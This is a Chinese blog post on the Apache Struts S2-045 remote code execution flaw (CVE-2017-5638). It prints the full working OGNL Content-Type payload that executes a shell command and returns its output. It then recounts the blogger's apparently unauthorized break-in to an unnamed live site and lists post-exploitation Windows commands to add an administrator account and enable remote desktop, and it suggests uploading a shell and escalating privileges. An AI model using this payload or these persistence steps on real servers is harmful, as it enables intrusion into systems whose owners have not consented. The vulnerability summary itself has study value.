S2-045漏洞之简单分析+实战
2017-04-12 02:04
344 查看
0X00 前言:
尽管s2-045的poc已经烂大街了,博主只是想学习了解一下它的用法,顺带写了一个测试小工具。0x01 漏洞简介
Apache Struts是一套用于创建企业级Java Web 应用的开源MVC框架 。Apache Struts 2.3.5 – 2.3.31版本及2.5 – 2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)。该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息。导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令。
漏洞编号:S2-045
CVE编号:CVE-2017-5638
漏洞类型:远程代码执行
漏洞级别:高危
漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10
0x02 简单的漏洞分析
由于当content-type中出现”multipart/form_data”时,会被认为有文件上传,从而调用struts2默认的上传文件组件Jakarta,通过组件漏洞载入OGNL代码并执行,从而达到远程调用的目的。0x03 poc代码段
下面是一段网上的poc的header部分代码,主要分为三个部分(1)用来触发文件漏洞,声明为文件上传
%{(#test='multipart/form-data')
(2)用来注入OGNL代码,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,绕过SecurityMemberAccess的限制。
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS) .(#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']) .(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)) .(#ognlUtil.getExcludedPackageNames().clear()) .(#ognlUtil.getExcludedClasses().clear()) .(#context.setMemberAccess(#dm))))
(3)剩下的为调用CMD命令的代码,简单粗暴,首先判断操作系统,win下调用cmd,linux下调用bash。
.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))) .(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})) .(#p=new java.lang.ProcessBuilder(#cmds)) .(#p.redirectErrorStream(true)) .(#process=#p.start()) .(#ros(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)) .(#ros.flush())}
0x04实战
远程执行的杀伤力十分强大,基本上是想干什么都可以。下面是博主对某站的实战渗透,过程非常的简单。
这是我们的目标
为了简单化演示,博主写了一个非常丑陋的界面,输入url和命令whoami,即会返回命令结果。
windows渗透命令:
查看端口
netstat -an
增加用户
net user username password /add
用户提权
net localgroup Administrators username
开启3389远程桌面:
REG ADD HKLM、SYSTEM、CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections /t REG_DWORD /d 00000000 /f
之后远程登录即可。
或者上传shell,没有root权限则进行提权,之后还是想干嘛干嘛。
工具博主就不放啦,按照poc就能随随便便写出来了。
麻麻告诉我,有漏洞不要激动,要去通知管理员,于是博主帮管理员补好了漏洞。没错,博主就是这么棒!博主相信,好人一生平安~
友情提示:请不要使坏坏哦,会被警察蜀黍抓走的哟~
相关文章推荐
- s2-045漏洞分析
- 漏洞分析马后炮 s2-045漏洞分析
- S2-045漏洞初步分析
- Struts2远程命令执行漏洞 S2-045 源码分析
- 【重大漏洞预警】Struts2 远程代码执行漏洞 S2-045 原理初步分析
- 【实战】WebDav漏洞简单分析及通用exploit设计
- struts2 S2-045漏洞
- 一个简单接口的优化分析与实战
- 【转】之简单分析什么是SQL注入漏洞
- 关于struts2 S2-20漏洞及其补丁绕过的简要分析
- BI之SSAS完整实战教程4 -- 部署至SSAS进行简单分析
- Struts2漏洞之S2-016漏洞分析与exp编写
- 简单分析什么是SQL注入漏洞
- 简单分析Script脚本跨站攻击漏洞技术
- Struts2 S2 – 032远程代码执行漏洞分析报告
- 实战3--设计管理模块 第二步, 分析功能和请求, 搭建简单框架
- 简单分析什么是SQL注入漏洞
- Struts2(s2-016)远程代码执行漏洞详细代码分析
- 实例分析ASP上传漏洞入侵实战及扩展
- 简单分析什么是SQL注入漏洞